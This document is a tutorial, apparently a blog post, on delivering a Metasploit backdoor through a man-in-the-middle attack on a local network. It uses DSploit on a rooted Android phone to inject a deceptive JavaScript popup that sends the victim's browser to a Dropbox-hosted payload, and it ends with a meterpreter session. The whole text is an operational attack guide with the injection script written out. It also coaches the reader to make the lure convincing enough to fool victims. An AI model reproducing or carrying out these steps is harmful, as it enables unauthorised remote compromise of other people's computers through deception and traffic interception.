How to deliver a payload using JavaScript Injection attack

In this tutorial, I will show you how to create a JavaScript code in order to deliver a payload to the victim's machine. This attack works very well when you are on the same local area network as the victim. Follow the instruction below to learn how to create a customer javascript that contains a payload.

1. Generate a payload using Metasploit or anything you want. I recommend Venom Shellcode Generator

2. Download and install DSploit on your rooted Android device

3. Open DSploit on your Android device after it is installed

4. Create a free Dropbox account and upload the Metasploit payload to your Drobox account.

5. On your Windows computer, open a notepad, copy and paste the code below into your Notepad and change the:

YOUR POP UP MESSAGE! to any message you want the victim to see after you inject the JavaScript into their browser

CLICK OK TO SCAN! to anything you want and make sure it is convincing enough for the victim to click on OK instead of Cancel. 

6. Go to your Dropbox account, generate a shared link to the backdoor and replace YOUR SHARED DROPBOX LINK in the JavaScript code with the shared link you generated.

<script language="JavaScript" type="text/javascript"> 
alert('YOUR POP UP MESSAGE!');
if(confirm("CLICK OKAY TO SCAN!")){document.location="YOUR SHARED DROPBOX LINK";}
</script>

7. Save the script as Script_Name.js

8. Send the script to your Android phone that has DSploit installed.

9. Connect your phone and your Kali machine to a WiFi you want to perform the attack

10. Open DSploit and let it scan for connected devices

11. Select a device you want to inject the payload from the list  inside DSploit



12. Tap on MITM for Man-in-the-Middle

13. Tap on Script Injection

14. Tap on Local files. Look for the Script_Name.js you sent to your phone in step 8 using the file explorer on your Android device and click Ok.

Note if you tap on Custom Code a screen like below will appear. Just erase the default code, copy and paste the JavaScript code you made in step 6 onto the screen on and tap on Ok and it will work the same way. 

15. Wait a few seconds and the victim should now see a JavaScript popup box displayed in his browser showing a message you created. Once the victim clicks on the Ok button, the payload will automatically be downloaded on to his or her computer. Now wait for them to run the executable file and you should get a meterpreter session on the Metasploit console on your laptop.